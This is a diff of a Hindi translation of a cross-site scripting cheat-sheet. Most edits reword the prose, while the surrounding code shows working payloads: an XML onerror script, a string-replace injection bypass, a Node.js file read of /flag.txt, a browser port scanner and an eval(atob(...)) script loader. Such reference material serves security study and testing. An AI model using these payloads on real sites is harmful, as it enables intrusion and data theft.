- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** यह सुविधा मुख्य रूप से प्री-रेंडरिंग के कारण उत्पन्न कुछ समस्याओं को हल करने के लिए है। यह इस तरह काम करता है:
|
||||
```html
|
||||
@ -932,7 +934,7 @@ import { partition } from "lodash"
|
||||
|
||||
### xml Content Type
|
||||
|
||||
यदि पृष्ठ एक text/xml सामग्री प्रकार लौटाता है, तो एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है:
|
||||
यदि पृष्ठ text/xml सामग्री प्रकार वापस कर रहा है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -942,9 +944,9 @@ import { partition } from "lodash"
|
||||
```
|
||||
### विशेष प्रतिस्थापन पैटर्न
|
||||
|
||||
जब कुछ इस तरह का **`"some {{template}} data".replace("{{template}}", <user_input>)`** उपयोग किया जाता है। तो हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
जब कुछ इस तरह का **`"some {{template}} data".replace("{{template}}", <user_input>)`** उपयोग किया जाता है। हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग **एक स्क्रिप्ट के अंदर JSON स्ट्रिंग को स्केप करने** और मनमानी कोड को निष्पादित करने के लिए किया गया था।
|
||||
उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग **एक स्क्रिप्ट के अंदर JSON स्ट्रिंग को स्केप करने** और मनमाना कोड निष्पादित करने के लिए किया गया था।
|
||||
|
||||
### क्रोम कैश से XSS
|
||||
|
||||
@ -994,7 +996,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- `require` को अप्रत्यक्ष रूप से एक्सेस करना
|
||||
|
||||
[इसके अनुसार](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) मॉड्यूल को Node.js द्वारा एक फ़ंक्शन के भीतर लपेटा जाता है, इस तरह:
|
||||
[इसके अनुसार](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) मॉड्यूल को Node.js द्वारा एक फ़ंक्शन के भीतर लपेटा जाता है, जैसे:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
@ -1009,7 +1011,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
पिछले उदाहरण की तरह, **त्रुटि हैंडलर्स** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुंचना और **`require`** फ़ंक्शन प्राप्त करना संभव है:
|
||||
पिछले उदाहरण की तरह, **त्रुटि हैंडलर्स** का उपयोग करके **मॉड्यूल** के **व्रैपर** तक पहुंचना और **`require`** फ़ंक्शन प्राप्त करना संभव है:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1049,9 +1051,8 @@ trigger()
|
||||
```
|
||||
### Obfuscation & Advanced Bypass
|
||||
|
||||
- **एक पृष्ठ में विभिन्न ओबफस्केशन्स:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- **एक पृष्ठ में विभिन्न ओबफस्केशन:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
@ -1359,7 +1360,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_छोटे समय एक प्रतिक्रिया देने वाले पोर्ट को इंगित करते हैं_ _लंबे समय कोई प्रतिक्रिया नहीं होने को इंगित करते हैं।_
|
||||
_छोटे समय संकेत करते हैं कि एक पोर्ट प्रतिक्रिया दे रहा है_ _लंबे समय संकेत करते हैं कि कोई प्रतिक्रिया नहीं है।_
|
||||
|
||||
Chrome में प्रतिबंधित पोर्टों की सूची की समीक्षा करें [**यहां**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) और Firefox में [**यहां**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)।
|
||||
|
||||
@ -1499,7 +1500,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Access Hidden Content
|
||||
|
||||
[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से यह सीखना संभव है कि भले ही कुछ मान JS से गायब हो जाएं, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट इसे खोजने के लिए संभव है, भले ही REGEX के इनपुट का मान हटा दिया गया हो:
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) यह जानना संभव है कि भले ही कुछ मान JS से गायब हो जाएं, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट इसे ढूंढना अभी भी संभव है जब REGEX के इनपुट का मान हटा दिया गया हो:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1543,7 +1544,7 @@ xss-in-markdown.md
|
||||
|
||||
### गतिशील रूप से बनाए गए PDF में XSS
|
||||
|
||||
यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाने JS कोड को निष्पादित** करे।\
|
||||
यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **PDF बनाने वाले बॉट** को **मनाने** की कोशिश कर सकते हैं कि वह **मनमाने JS कोड** को **निष्पादित** करे।\
|
||||
तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके **सर्वर XSS** का कारण बन सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user